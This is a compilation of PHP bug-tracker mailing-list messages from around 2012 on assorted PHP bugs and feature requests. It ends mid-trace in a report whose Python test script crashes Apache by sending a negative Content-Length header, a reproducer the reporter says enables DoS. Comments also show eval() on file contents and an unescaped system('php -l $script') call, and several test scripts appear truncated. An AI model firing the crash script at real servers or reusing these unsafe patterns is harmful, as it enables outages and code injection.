Req #41810 [Nab]: Unable to catch Parse Errors
Edit report at https://bugs.php.net/bug.php?id=41810&edit=1
ID: 41810
Updated by: ras...@php.net
Reported by:d dot albano at gmail dot com
Summary:Unable to catch Parse Errors
Status: Not a bug
Type: Feature/Change Request
Package:*General Issues
Operating System: Linux
PHP Version:5.2.3
Block user comment: N
Private report: N
New Comment:
Even in the templating case there really is no excuse for pushing templates
with
parse errors to production. Running "php -l" as part of your pre-push testing
is
the expected bare minimum and hopefully you have actual tests you run with
decent
code coverage as well. You could also run it in your pre-commit hook in your
VCS.
Addressing this in PHP itself is extremely low-priority which means it will
likely never happen.
Previous Comments:
[2012-10-05 20:52:43] airetamstrm at gmail dot com
Contrary to what others have said here, require/include_once do NOT (always)
happen at compile time.
Otherwise, it would be impossible to do this:
I've found the best way to work around this problem is to use eval, which is a
poor
solution at best. There really should be a way to catch this, considering PHP
is
an
interpreted / templating language. Regardless of the intended functionality
/doc
of
require/include_once there absolutely should be some mechanism to do this. See
below for an
example on how to at least silence parse errors:
function safeInclude($filename) {
$fc = file_get_contents($filename);
eval('?>'.$fc);
}
However, in the defense of the developers, if you're checking code for errors
before
including it, you're one or more of the following:
1) Building convenience code to help with rapid development
2) Pulling in code that you don't fully trust from others that may be buggy
3) Doing silly, inexcusable things with production
4) Templating and thus #2
Fixing this bug likely be the most help to #1 and #4. If you're doing #4 you
need to fire
someone, if you're doing #3 you need to fire yourself. At the very least, if
you're trying
to do this you should review WHY you're trying to do this, and see if perhaps
there's
something else terribly wrong with your design approach.
I'm a #4 and would like it if someone could look at fixing this.
[2012-09-15 21:45:32] ras...@php.net
This can't be done safely within the same parser instance as your main script.
You will need to create a separate instance, as in system("php -l $script"); to
do that check. I would suggest you do this once when these scripts are created
and move them into a "checked" directory or something so you don't do it on
every
include.
[2012-09-15 20:53:11] james dot dobb at gmail dot com
I agree that this, perhaps not a bug but a missing feature needs to be
addressed,
There should be a secure way of including scripts from another script and be
able
to continue the calling script if an error occurs, the lack of functionality
here
is causing me a major headache.
[2010-07-02 13:41:24] paj...@php.net
It is not, please double read the manual about require/include_once.
[2010-07-02 12:34:32] sneak at datavibe dot net
This classification is not bogus at all. Consider the following:
== main.php ==
== myfile.php ==
The parsing of myfile.php must necessarily happen at main.php's RUNTIME,
because
the filename is not available until sprintf() is called.
This is a bug.
The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
https://bugs.php.net/bug.php?id=41810
--
Edit this bug report at https://bugs.php.net/bug.php?id=41810&edit=1
Req #41810 [Com]: Unable to catch Parse Errors
Edit report at https://bugs.php.net/bug.php?id=41810&edit=1
ID: 41810
Comment by: airetamstrm at gmail dot com
Reported by:d dot albano at gmail dot com
Summary:Unable to catch Parse Errors
Status: Not a bug
Type: Feature/Change Request
Package:*General Issues
Operating System: Linux
PHP Version:5.2.3
Block user comment: N
Private report: N
New Comment:
Contrary to what others have said here, require/include_once do NOT (always)
happen at compile time.
Otherwise, it would be impossible to do this:
I've found the best way to work around this problem is to use eval, which is a
poor
solution at best. There really should be a way to catch this, considering PHP
is
an
interpreted / templating language. Regardless of the intended functionality
/doc
of
require/include_once there absolutely should be some mechanism to do this. See
below for an
example on how to at least silence parse errors:
function safeInclude($filename) {
$fc = file_get_contents($filename);
eval('?>'.$fc);
}
However, in the defense of the developers, if you're checking code for errors
before
including it, you're one or more of the following:
1) Building convenience code to help with rapid development
2) Pulling in code that you don't fully trust from others that may be buggy
3) Doing silly, inexcusable things with production
4) Templating and thus #2
Fixing this bug likely be the most help to #1 and #4. If you're doing #4 you
need to fire
someone, if you're doing #3 you need to fire yourself. At the very least, if
you're trying
to do this you should review WHY you're trying to do this, and see if perhaps
there's
something else terribly wrong with your design approach.
I'm a #4 and would like it if someone could look at fixing this.
Previous Comments:
[2012-09-15 21:45:32] ras...@php.net
This can't be done safely within the same parser instance as your main script.
You will need to create a separate instance, as in system("php -l $script"); to
do that check. I would suggest you do this once when these scripts are created
and move them into a "checked" directory or something so you don't do it on
every
include.
[2012-09-15 20:53:11] james dot dobb at gmail dot com
I agree that this, perhaps not a bug but a missing feature needs to be
addressed,
There should be a secure way of including scripts from another script and be
able
to continue the calling script if an error occurs, the lack of functionality
here
is causing me a major headache.
[2010-07-02 13:41:24] paj...@php.net
It is not, please double read the manual about require/include_once.
[2010-07-02 12:34:32] sneak at datavibe dot net
This classification is not bogus at all. Consider the following:
== main.php ==
== myfile.php ==
The parsing of myfile.php must necessarily happen at main.php's RUNTIME,
because
the filename is not available until sprintf() is called.
This is a bug.
[2007-07-03 16:36:51] tony2...@php.net
Thank you for taking the time to write to us, but this is not
a bug. Please double-check the documentation available at
http://www.php.net/manual/ and the instructions on how to report
a bug at http://bugs.php.net/how-to-report.php
The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
https://bugs.php.net/bug.php?id=41810
--
Edit this bug report at https://bugs.php.net/bug.php?id=41810&edit=1
Bug #63227 [Opn]: strtotime - weekday in a month where that weekday was the first day adds 1 week
Edit report at https://bugs.php.net/bug.php?id=63227&edit=1
ID: 63227
User updated by:helgeson dot b at gmail dot com
Reported by:helgeson dot b at gmail dot com
Summary:strtotime - weekday in a month where that weekday
was the first day adds 1 week
Status: Open
Type: Bug
Package:Date/time related
Operating System: CentOS 6.2
PHP Version:5.3.17
Block user comment: N
Private report: N
New Comment:
Description:
---
>From manual page: http://www.php.net/function.strtotime#refsect1-
function.strtotime-changelog
---
requesting a given occurrence of a given weekday in a month where that weekday
was
the first day of the month would incorrectly add one week to the returned
timestamp. Although this was reported resolved as of PHP 5.2.7, it still
exists
in PHP 5.3.17.
Previous Comments:
[2012-10-05 19:04:59] helgeson dot b at gmail dot com
Description:
---
>From manual page: http://www.php.net/function.strtotime#refsect1-
function.strtotime-changelog
---
requesting a given occurrence of a given weekday in a month where that weekday
was
the first day of the month would incorrectly add one week to the returned
timestamp. Although this was reported resolved as of PHP 5.2.7, it still
exists
in PHP 5.3.3.
Maybe update the documentation to reflect the version the bug was actually
corrected in?
Test script:
---
$x = strtotime('Second Monday October 2012');
print date('Y-m-d', $x);
Expected result:
2012-10-8
Actual result:
--
2012-10-15
--
Edit this bug report at https://bugs.php.net/bug.php?id=63227&edit=1
[PHP-BUG] Bug #63227 [NEW]: strtotime - weekday in a month where that weekday was the first day adds 1 week
From: helgeson dot b at gmail dot com
Operating system: CentOS 6.2
PHP version: 5.3.17
Package: Date/time related
Bug Type: Bug
Bug description:strtotime - weekday in a month where that weekday was the first
day adds 1 week
Description:
---
>From manual page: http://www.php.net/function.strtotime#refsect1-
function.strtotime-changelog
---
requesting a given occurrence of a given weekday in a month where that
weekday was
the first day of the month would incorrectly add one week to the returned
timestamp. Although this was reported resolved as of PHP 5.2.7, it still
exists
in PHP 5.3.3.
Maybe update the documentation to reflect the version the bug was actually
corrected in?
Test script:
---
$x = strtotime('Second Monday October 2012');
print date('Y-m-d', $x);
Expected result:
2012-10-8
Actual result:
--
2012-10-15
--
Edit bug report at https://bugs.php.net/bug.php?id=63227&edit=1
--
Try a snapshot (PHP 5.4):
https://bugs.php.net/fix.php?id=63227&r=trysnapshot54
Try a snapshot (PHP 5.3):
https://bugs.php.net/fix.php?id=63227&r=trysnapshot53
Try a snapshot (trunk):
https://bugs.php.net/fix.php?id=63227&r=trysnapshottrunk
Fixed in SVN: https://bugs.php.net/fix.php?id=63227&r=fixed
Fixed in release: https://bugs.php.net/fix.php?id=63227&r=alreadyfixed
Need backtrace: https://bugs.php.net/fix.php?id=63227&r=needtrace
Need Reproduce Script: https://bugs.php.net/fix.php?id=63227&r=needscript
Try newer version: https://bugs.php.net/fix.php?id=63227&r=oldversion
Not developer issue:https://bugs.php.net/fix.php?id=63227&r=support
Expected behavior: https://bugs.php.net/fix.php?id=63227&r=notwrong
Not enough info:
https://bugs.php.net/fix.php?id=63227&r=notenoughinfo
Submitted twice:
https://bugs.php.net/fix.php?id=63227&r=submittedtwice
register_globals: https://bugs.php.net/fix.php?id=63227&r=globals
PHP 4 support discontinued: https://bugs.php.net/fix.php?id=63227&r=php4
Daylight Savings: https://bugs.php.net/fix.php?id=63227&r=dst
IIS Stability: https://bugs.php.net/fix.php?id=63227&r=isapi
Install GNU Sed:https://bugs.php.net/fix.php?id=63227&r=gnused
Floating point limitations: https://bugs.php.net/fix.php?id=63227&r=float
No Zend Extensions: https://bugs.php.net/fix.php?id=63227&r=nozend
MySQL Configuration Error: https://bugs.php.net/fix.php?id=63227&r=mysqlcfg
Bug #63226 [Opn->Nab]: Mixed array index iteration has broken key=>value pair
Edit report at https://bugs.php.net/bug.php?id=63226&edit=1
ID: 63226
Updated by: ni...@php.net
Reported by:nicholas dot puleo at gmail dot com
Summary:Mixed array index iteration has broken key=>value
pair
-Status: Open
+Status: Not a bug
Type: Bug
Package:Arrays related
Operating System: Ubuntu 12.0.4.1 LTS
PHP Version:5.4.7
Block user comment: N
Private report: N
New Comment:
0 == "text", that's why you see it twice. If you want a strict string check use
$k === "text".
Previous Comments:
[2012-10-05 16:47:57] nicholas dot puleo at gmail dot com
Description:
If getting an array with mixed index types (in this case it was served from
LDAP)
- iterating over using a foreach loop yielded incorrect key values on the first
changed index from associative to numerical.
Test script:
---
$v) {
if ($k == "text") {
echo 'Should Only See Once';
} else {
echo $v;
}
}
?>
--
Edit this bug report at https://bugs.php.net/bug.php?id=63226&edit=1
[PHP-BUG] Bug #63226 [NEW]: Mixed array index iteration has broken key=>value pair
From: nicholas dot puleo at gmail dot com
Operating system: Ubuntu 12.0.4.1 LTS
PHP version: 5.4.7
Package: Arrays related
Bug Type: Bug
Bug description:Mixed array index iteration has broken key=>value pair
Description:
If getting an array with mixed index types (in this case it was served from
LDAP)
- iterating over using a foreach loop yielded incorrect key values on the
first
changed index from associative to numerical.
Test script:
---
$v) {
if ($k == "text") {
echo 'Should Only See Once';
} else {
echo $v;
}
}
?>
--
Edit bug report at https://bugs.php.net/bug.php?id=63226&edit=1
--
Try a snapshot (PHP 5.4):
https://bugs.php.net/fix.php?id=63226&r=trysnapshot54
Try a snapshot (PHP 5.3):
https://bugs.php.net/fix.php?id=63226&r=trysnapshot53
Try a snapshot (trunk):
https://bugs.php.net/fix.php?id=63226&r=trysnapshottrunk
Fixed in SVN: https://bugs.php.net/fix.php?id=63226&r=fixed
Fixed in release: https://bugs.php.net/fix.php?id=63226&r=alreadyfixed
Need backtrace: https://bugs.php.net/fix.php?id=63226&r=needtrace
Need Reproduce Script: https://bugs.php.net/fix.php?id=63226&r=needscript
Try newer version: https://bugs.php.net/fix.php?id=63226&r=oldversion
Not developer issue:https://bugs.php.net/fix.php?id=63226&r=support
Expected behavior: https://bugs.php.net/fix.php?id=63226&r=notwrong
Not enough info:
https://bugs.php.net/fix.php?id=63226&r=notenoughinfo
Submitted twice:
https://bugs.php.net/fix.php?id=63226&r=submittedtwice
register_globals: https://bugs.php.net/fix.php?id=63226&r=globals
PHP 4 support discontinued: https://bugs.php.net/fix.php?id=63226&r=php4
Daylight Savings: https://bugs.php.net/fix.php?id=63226&r=dst
IIS Stability: https://bugs.php.net/fix.php?id=63226&r=isapi
Install GNU Sed:https://bugs.php.net/fix.php?id=63226&r=gnused
Floating point limitations: https://bugs.php.net/fix.php?id=63226&r=float
No Zend Extensions: https://bugs.php.net/fix.php?id=63226&r=nozend
MySQL Configuration Error: https://bugs.php.net/fix.php?id=63226&r=mysqlcfg
Req #28960 [Com]: When INSTALL_ROOT don't use apxs with Option '-a'
Edit report at https://bugs.php.net/bug.php?id=28960&edit=1 ID: 28960 Comment by: mamfelt at gmail dot com Reported by:Joerg dot Dieter dot Friedrich at uni-konstanz dot de Summary:When INSTALL_ROOT don't use apxs with Option '-a' Status: Open Type: Feature/Change Request Package:Feature/Change Request Operating System: irrelevant PHP Version:Irrelevant Block user comment: N Private report: N New Comment: I have been trying to figure out how to get information into Makefile so that looking at the value of INSTALL_ROOT is determined at 'make install' time. The following logic is run either at buildconf, or configure time (does this mean INSTALL_ROOT needs to be defined BEFORE running ./configure??) because it seems the outoput is always coming from the 'else' block if test -z `$APXS -q SYSCONFDIR`; then INSTALL_IT="\$(mkinstalldirs) '$APXS_LIBEXECDIR' && \ $APXS -S LIBEXECDIR='$APXS_LIBEXECDIR' \ -i -n php5" else APXS_SYSCONFDIR='$(INSTALL_ROOT)'`$APXS -q SYSCONFDIR` INSTALL_IT="\$(mkinstalldirs) '$APXS_LIBEXECDIR' && \ \$(mkinstalldirs) '$APXS_SYSCONFDIR' && \ $APXS -S LIBEXECDIR='$APXS_LIBEXECDIR' \ -S SYSCONFDIR='$APXS_SYSCONFDIR' \ -i -a -n php5" fi as the -a option is hard coded as the only statement in Makefile Previous Comments: [2004-06-29 16:38:02] Joerg dot Dieter dot Friedrich at uni-konstanz dot de OK, my patch is obviously wrong. I'm not really good at autoconf and configure. my ifeq-test is make-syntax not configure, I thought this will be put into the Makefile, which is not, and configure fails :-( please look at it. [2004-06-29 15:54:31] Joerg dot Dieter dot Friedrich at uni-konstanz dot de oops, typo in patch: --- sapi/apache/config.m4.orig Tue Jun 29 15:44:21 2004 +++ sapi/apache/config.m4 Tue Jun 29 15:52:54 2004 @@ -70,9 +70,16 @@ # Test whether apxs support -S option $APXS -q -S CFLAGS="$APXS_CFLAGS" CFLAGS >/dev/null 2>&1 + + # Test whether INSTALL_ROOT is set + ifeq ($(strip $(INSTALL_ROOT)),) +APXS_ACTIVATE="-a" + else +APXS_ACTIVATE="" + endif if test "$?" != "0"; then -APACHE_INSTALL="$APXS -i -a -n php4 $SAPI_SHARED" # Old apxs does not have -S option +APACHE_INSTALL="$APXS -i $APXS_ACTIVATE -n php4 $SAPI_SHARED" # Old apxs does not have -S option else APXS_LIBEXECDIR='$(INSTALL_ROOT)'`$APXS -q LIBEXECDIR` if test -z `$APXS -q SYSCONFDIR`; then @@ -85,7 +92,7 @@ \$(mkinstalldirs) '$APXS_SYSCONFDIR' && \ $APXS -S LIBEXECDIR='$APXS_LIBEXECDIR' \ -S SYSCONFDIR='$APXS_SYSCONFDIR' \ - -i -a -n php4 $SAPI_SHARED" + -i $APXS_ACTIVATE -n php4 $SAPI_SHARED" fi fi [2004-06-29 15:51:28] Joerg dot Dieter dot Friedrich at uni-konstanz dot de Description: It would be really great if apxs would not be called with '-a' when INSTALL_ROOT is set. This would make package building easier. this is a patch to sapi/apache/config.m4 which I think it must fix it. But please proove-read it. --- sapi/apache/config.m4.orig Tue Jun 29 15:44:21 2004 +++ sapi/apache/config.m4 Tue Jun 29 15:48:26 2004 @@ -70,9 +70,16 @@ # Test whether apxs support -S option $APXS -q -S CFLAGS="$APXS_CFLAGS" CFLAGS >/dev/null 2>&1 + + # Test whether INSTALL_ROOT is set + ifeq ($(strip $(INSTALL_ROOT)),) +APXS_ACTIVATE="-a" + else +APXS_ACTIVATE="-a" + endif if test "$?" != "0"; then -APACHE_INSTALL="$APXS -i -a -n php4 $SAPI_SHARED" # Old apxs does not have -S option +APACHE_INSTALL="$APXS -i $APXS_ACTIVATE -n php4 $SAPI_SHARED" # Old apxs does not have -S option else APXS_LIBEXECDIR='$(INSTALL_ROOT)'`$APXS -q LIBEXECDIR` if test -z `$APXS -q SYSCONFDIR`; then @@ -85,7 +92,7 @@ \$(mkinstalldirs) '$APXS_SYSCONFDIR' && \ $APXS -S LIBEXECDIR='$APXS_LIBEXECDIR' \ -S SYSCONFDIR='$APXS_SYSCONFDIR' \ - -i -a -n php4 $SAPI_SHARED" + -i $APXS_ACTIVATE -n php4 $SAPI_SHARED" fi fi -- Edit this bug report at https://bugs.php.net/bug.php?id=28960&edit=1
[PHP-BUG] Bug #63225 [NEW]: set_exception_handler fails to register in Interactive Shell
From: artaxerxes2 at iname dot com
Operating system: Fedora 14
PHP version: Irrelevant
Package: Unknown/Other Function
Bug Type: Bug
Bug description:set_exception_handler fails to register in Interactive Shell
Description:
Following the code from
http://www.php.net/manual/en/function.set-error-handler.php#109149
I ran it on the Interactive Shell instead of a script. The captureNormal
method worked, the captureShutdown worked, but the captureException did
not.
Yet, the set_exception_handler registered it, just didn't call it.
I run PHP 5.3.8, but cannot test with newer PHP. I read the bug reports and
the Changelog and didn't see any mention, so I figure it's a new bug.
Test script:
---
>From command line:
$ echo 'getMessage ()) ;} set_exception_handler ("ff") ; throw
new Exception ("blabla") ; echo "This is bad\n" ;' | php
>From Interactive Shell (php -a):
php> function ff ($exception) { printf ("I am a handler, got
%s\n",$exception->getMessage ()) ;} set_exception_handler ("ff") ; throw
new Exception ("blabla") ;
Expected result:
I am a handler, got blabla
Actual result:
--
PHP Warning: Uncaught exception 'Exception' with message 'blabla' in php
shell code:1
Stack trace:
#0 {main}
thrown in php shell code on line 1
--
Edit bug report at https://bugs.php.net/bug.php?id=63225&edit=1
--
Try a snapshot (PHP 5.4):
https://bugs.php.net/fix.php?id=63225&r=trysnapshot54
Try a snapshot (PHP 5.3):
https://bugs.php.net/fix.php?id=63225&r=trysnapshot53
Try a snapshot (trunk):
https://bugs.php.net/fix.php?id=63225&r=trysnapshottrunk
Fixed in SVN: https://bugs.php.net/fix.php?id=63225&r=fixed
Fixed in release: https://bugs.php.net/fix.php?id=63225&r=alreadyfixed
Need backtrace: https://bugs.php.net/fix.php?id=63225&r=needtrace
Need Reproduce Script: https://bugs.php.net/fix.php?id=63225&r=needscript
Try newer version: https://bugs.php.net/fix.php?id=63225&r=oldversion
Not developer issue:https://bugs.php.net/fix.php?id=63225&r=support
Expected behavior: https://bugs.php.net/fix.php?id=63225&r=notwrong
Not enough info:
https://bugs.php.net/fix.php?id=63225&r=notenoughinfo
Submitted twice:
https://bugs.php.net/fix.php?id=63225&r=submittedtwice
register_globals: https://bugs.php.net/fix.php?id=63225&r=globals
PHP 4 support discontinued: https://bugs.php.net/fix.php?id=63225&r=php4
Daylight Savings: https://bugs.php.net/fix.php?id=63225&r=dst
IIS Stability: https://bugs.php.net/fix.php?id=63225&r=isapi
Install GNU Sed:https://bugs.php.net/fix.php?id=63225&r=gnused
Floating point limitations: https://bugs.php.net/fix.php?id=63225&r=float
No Zend Extensions: https://bugs.php.net/fix.php?id=63225&r=nozend
MySQL Configuration Error: https://bugs.php.net/fix.php?id=63225&r=mysqlcfg
Bug #63184 [Csd]: test ext/spl/tests/RecursiveDirectoryIterator_getSubPathname_basic.phpt failed
Edit report at https://bugs.php.net/bug.php?id=63184&edit=1 ID: 63184 Updated by: a...@php.net Reported by:larue...@php.net Summary:test ext/spl/tests/RecursiveDirectoryIterator_getSubPathname_basic.phpt failed Status: Closed Type: Bug Package:Testing related Operating System: Linux PHP Version:5.4.7 Assigned To:laruence Block user comment: N Private report: N New Comment: Pass for me on centos and windows now. Previous Comments: [2012-10-01 14:45:21] larue...@php.net Automatic comment on behalf of laruence Revision: http://git.php.net/?p=php-src.git;a=commit;h=139ac42bec942639db2f52ae16700e491114c898 Log: Fixed bug #63184 test (ext/spl/tests/RecursiveDirectoryIterator_getSubPathname_basic.phpt failed) [2012-10-01 14:44:02] larue...@php.net Automatic comment on behalf of laruence Revision: http://git.php.net/?p=php-src.git;a=commit;h=139ac42bec942639db2f52ae16700e491114c898 Log: Fixed bug #63184 test (ext/spl/tests/RecursiveDirectoryIterator_getSubPathname_basic.phpt failed) [2012-09-30 16:27:36] larue...@php.net this test failed on some OS but failed on Linux Redhat [2012-09-29 06:40:07] larue...@php.net Automatic comment on behalf of laruence Revision: http://git.php.net/?p=php-src.git;a=commit;h=36c10242cd3babee807178def14485bd4b13bbc6 Log: Remove meaningless md5 string && Attempt to fix #63184 [2012-09-29 06:39:33] larue...@php.net Automatic comment on behalf of laruence Revision: http://git.php.net/?p=php-src.git;a=commit;h=36c10242cd3babee807178def14485bd4b13bbc6 Log: Remove meaningless md5 string && Attempt to fix #63184 The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at https://bugs.php.net/bug.php?id=63184 -- Edit this bug report at https://bugs.php.net/bug.php?id=63184&edit=1
[PHP-BUG] Bug #63222 [NEW]: DateTime::createFromFormat() wrong with reset and D,l
From: gron1987 at gmail dot com
Operating system: Linux
PHP version: 5.4.7
Package: Date/time related
Bug Type: Bug
Bug description:DateTime::createFromFormat() wrong with reset and D,l
Description:
We found that createFromFormat work incorrect.
If we use reset in format ("!") and don't send year then we will receive
new date
in 1970 year, php don't change day of week ("Wed"), it change day("05").
It work correct in 5.3.8
Maybe you broke this when fix this:
https://bugs.php.net/bug.php?id=54851
Test script:
---
string(19) "1970-10-05 18:15:00"
public $timezone_type =>
int(3)
public $timezone =>
string(13) "Europe/Berlin"
}
(php 5.3.8)
Actual result:
--
object(DateTime)#1 (3) {
["date"]=>
string(19) "1970-10-07 18:15:00"
["timezone_type"]=>
int(3)
["timezone"]=>
string(15) "Europe/Helsinki"
}
--
Edit bug report at https://bugs.php.net/bug.php?id=63222&edit=1
--
Try a snapshot (PHP 5.4):
https://bugs.php.net/fix.php?id=63222&r=trysnapshot54
Try a snapshot (PHP 5.3):
https://bugs.php.net/fix.php?id=63222&r=trysnapshot53
Try a snapshot (trunk):
https://bugs.php.net/fix.php?id=63222&r=trysnapshottrunk
Fixed in SVN: https://bugs.php.net/fix.php?id=63222&r=fixed
Fixed in release: https://bugs.php.net/fix.php?id=63222&r=alreadyfixed
Need backtrace: https://bugs.php.net/fix.php?id=63222&r=needtrace
Need Reproduce Script: https://bugs.php.net/fix.php?id=63222&r=needscript
Try newer version: https://bugs.php.net/fix.php?id=63222&r=oldversion
Not developer issue:https://bugs.php.net/fix.php?id=63222&r=support
Expected behavior: https://bugs.php.net/fix.php?id=63222&r=notwrong
Not enough info:
https://bugs.php.net/fix.php?id=63222&r=notenoughinfo
Submitted twice:
https://bugs.php.net/fix.php?id=63222&r=submittedtwice
register_globals: https://bugs.php.net/fix.php?id=63222&r=globals
PHP 4 support discontinued: https://bugs.php.net/fix.php?id=63222&r=php4
Daylight Savings: https://bugs.php.net/fix.php?id=63222&r=dst
IIS Stability: https://bugs.php.net/fix.php?id=63222&r=isapi
Install GNU Sed:https://bugs.php.net/fix.php?id=63222&r=gnused
Floating point limitations: https://bugs.php.net/fix.php?id=63222&r=float
No Zend Extensions: https://bugs.php.net/fix.php?id=63222&r=nozend
MySQL Configuration Error: https://bugs.php.net/fix.php?id=63222&r=mysqlcfg
Bug #63187 [Com]: make test does not save test results
Edit report at https://bugs.php.net/bug.php?id=63187&edit=1
ID: 63187
Comment by: mamfelt at gmail dot com
Reported by:mamfelt at gmail dot com
Summary:make test does not save test results
Status: Open
Type: Bug
Package:Unknown/Other Function
Operating System: AIX 6.1
PHP Version:5.3.17
Block user comment: N
Private report: N
New Comment:
Seems to be fixed/not occurring in 5.3.18RC1 - make test submitted saved
successfully.
make test
This gives us a better understanding of PHP's behavior.
If you don't want to send the report immediately you can choose
option "s" to save it. You can then email it to qa-repo...@lists.php.net later.
Do you want to send this report now? [Yns]: s
Please send /data/prj/php/php-5.3.18RC1/php_test_results_20121005_1110.txt to
qa-repo...@lists.php.net manually, thank you.
Previous Comments:
[2012-09-29 18:56:26] mamfelt at gmail dot com
Description:
make test processes normally - but starts with an error message - that may be
the reason that the test results cannot be saved at the end (dor later mailing
to QA).
===
root@x104:[/data/prj/php/php-5.3.17]cc -qversion=verbose
IBM XL C/C++ for AIX, V11.1 (5724-X13)
Version: 11.01..0009
Driver Version: 11.01(C/C++) Level: 28
C Front End Version: 11.01(C/C++) Level: 28
High-Level Optimizer Version: 11.01(C/C++) and 13.01(Fortran) Level: 111222
Low-Level Optimizer Version: 11.01(C/C++) and 13.01(Fortran) Level: 28
root@x104:[/data/prj/php/php-5.3.17]oslevel -s
6100-06-06-1140
root@x104:[/data/prj/php/php-5.3.17]make -version
GNU Make 3.81
Copyright (C) 2006 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
This program built for rs6000-ibm-aix
root@x104:[/data/prj/php/php-5.3.17]lslpp -w /usr/bin/ksh
FileFileset Type
/usr/bin/kshbos.rte.shell File
root@x104:[/data/prj/php/php-5.3.17]lslpp -L bos.rte.shell
Fileset Level State Type Description (Uninstaller)
bos.rte.shell 6.1.6.16C FShells (bsh, ksh, csh)
Test script:
---
configure
make
make test
look for:
/bin/sh[13]: 0403-057 Syntax error at line 20 : `(' is not expected.
in output below.
I answer 's' for save at the end, but no file is saved (that I can find).
I editted Makefile, so that the "test" command is echoed and get this...
(hoping it is useful to someone!)
Expected result:
Normal end report of make test that can be saved and mailed
Actual result:
--
Build complete.
Don't forget to run 'make test'.
if test ! -z "/data/prj/php/php-5.3.17/sapi/cli/php" && test -x
"/data/prj/php/php-5.3.17/sapi/cli/php"; then \
INI_FILE=`/data/prj/php/php-5.3.17/sapi/cli/php -d
'display_errors=stderr' -r 'echo php_ini_loaded_file();' 2> /dev/null`; \
if test "$INI_FILE"; then \
grep -E -h -v
'^(define_syslog_variables|register_(globals|long_arrays)?|safe_mode|magic_quotes_(gpc|runtime|sybase)?|(zend_)?extension(_debug)?(_ts)?)[\t\
]*=' "$INI_FILE" > /data/prj/php/php-5.3.17/tmp-php.ini; \
else \
echo > /data/prj/php/php-5.3.17/tmp-php.ini; \
fi; \
INI_SCANNED_PATH=`/data/prj/php/php-5.3.17/sapi/cli/php -d
'display_errors=stderr' -r '$a = explode(",\n", trim(php_ini_scanned_files()));
echo $a[0];' 2> /dev/null`; \
if test "$INI_SCANNED_PATH"; then \
INI_SCANNED_PATH=`/data/prj/php/php-5.3.17/build/shtool
path -d $INI_SCANNED_PATH`; \
grep -E -h -v
'^(define_syslog_variables|register_(globals|long_arrays)?|safe_mode|magic_quotes_(gpc|runtime|sybase)?|(zend_)?extension(_debug)?(_ts)?)[\t\
]*=' "$INI_SCANNED_PATH"/*.ini >> /data/prj/php/php-5.3.17/tmp-php.ini; \
fi; \
TEST_PHP_EXECUTABLE=/data/prj/php/php-5.3.17/sapi/cli/php \
TEST_PHP_SRCDIR=/data/prj/php/php-5.3.17 \
CC="xlc_r" \
/data/prj/php/php-5.3.17/sapi/cli/php -n -c
/data/prj/php/php-5.3.17/tmp-php.ini -d 'open_basedir=' -d 'output_buffering=0'
-d 'memory_limit=-1' /data/prj/php/php-5.3.17/run-tests.php -n -c
/data/prj/php/php-5.3.17/tmp-php.ini -d extension_dir=/d
ata/prj/php/php-5.3.17/modules/ ` if test
"x/data/prj/php/php-5.3.17/modules/bcmath.so
/data/prj/php/php-5.3.17/modules/curl.so
/data/prj/php/php-5.3.17/modules/dba.so /data/prj/php/
Bug #63200 [Com]: Apache 2.2 crashes when PHP called with negative Content-Length HTTP header
Edit report at https://bugs.php.net/bug.php?id=63200&edit=1 ID: 63200 Comment by: chris at whyley dot com Reported by:chris at whyley dot com Summary:Apache 2.2 crashes when PHP called with negative Content-Length HTTP header Status: Feedback Type: Bug Package:Reproducible crash Operating System: Windows Server 2003 PHP Version:5.3.17 Block user comment: N Private report: N New Comment: I have not tested this issue under version 5.4 as my environment is setup for 5.3.17 - Are you able to recreate in 5.3.17 ? It always crashes no matter what I have in index.php - in fact I can call any page and cause the crash to happen. Previous Comments: [2012-10-05 04:26:26] larue...@php.net I can not reproduce this with 5.4, and from the backtrace, it seems crash in another place. so, is it related with your index.php? does it always crash no matter what the index.php is? [2012-10-02 14:45:02] chris at whyley dot com Description: Apache 2.2 with PHP 5.3.17 on Windows Server 2003 can be made to repeatably crash by doing the following: (1) Configure your Apache server to use a custom error handling page for the HTTP 413 error (Request entity too large) by inserting this line into your httpd.conf: ErrorDocument 413 /error/ (2) Run the Python test script detailed below to send an HTTP GET request to the server with a negative integer for the HTTP "Content-Length" header and with the "Accept-Encoding" header set to "gzip, deflate" When this is run, Apache crashes with the following error: [Tue Oct 02 13:46:16 2012] [error] [client 10.211.55.3] Invalid Content-Length [Tue Oct 02 13:46:22 2012] [notice] Parent: child process exited with status 3221225477 -- Restarting. This issue is a particular problem in the wild where many modern browsers aren't capable of handling file uploads over 2GB in size - instead of posting an accurate filesize for the Content-Length header they use a negative integer instead, causing the Apache server running PHP to crash. For further information on this see http://www.motobit.com/help/scptutl/pa98.htm The script could be used to perform DOS attacks on vulnerable systems. Test script: --- #!/usr/bin/python import socket, sys target = "10.211.55.3" port = 80; request = "GET / HTTP/1.1\n" request += "Host: "+target+"\n" request += "Accept-Encoding:gzip, deflate\n" request += "Content-Length: -1\n\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((target, port)) except: print "[-] Connection to %s:%s failed!" % (target, port) sys.exit(0) print "[+] Sending HTTP request. Check for crash on target." s.send(request) s.close() Expected result: Stable Apache, no crash. Actual result: -- Thread 2 - System ID 3008 Entry point msvcrt!_endthreadex+3a Create time 10/2/2012 2:29:08 PM Time spent in user mode 0 Days 0:0:0.0 Time spent in kernel mode 0 Days 0:0:0.15 Full Call Stack Function Arg 1 Arg 2 Arg 3 Arg 4 Source php5ts!zend_hash_index_find+17 016f3460 000d 018ee6c0 c:\php-sdk\snap_5_3\vc9\x86\php-5.3.17\zend\zend_hash.c @ 985 php5ts!_zend_list_delete+27 000d 016b0150 029811c0 016b0150 c:\php-sdk\snap_5_3\vc9\x86\php-5.3.17\zend\zend_list.c @ 55 + 27 php5ts!_php_stream_free+ae 029811c0 0003 016b0150 029811c0 c:\php-sdk\snap_5_3\vc9\x86\php-5.3.17\main\streams\streams.c @ 399 + a php5ts!php_zend_stream_mmap_closer+1a 029811c0 016b0150 0290a4e0 007339f4 c:\php-sdk\snap_5_3\vc9\x86\php-5.3.17\main\main.c @ 1192 + 9 php5ts!zend_file_handle_dtor+2a 0290a4e8 016b0150 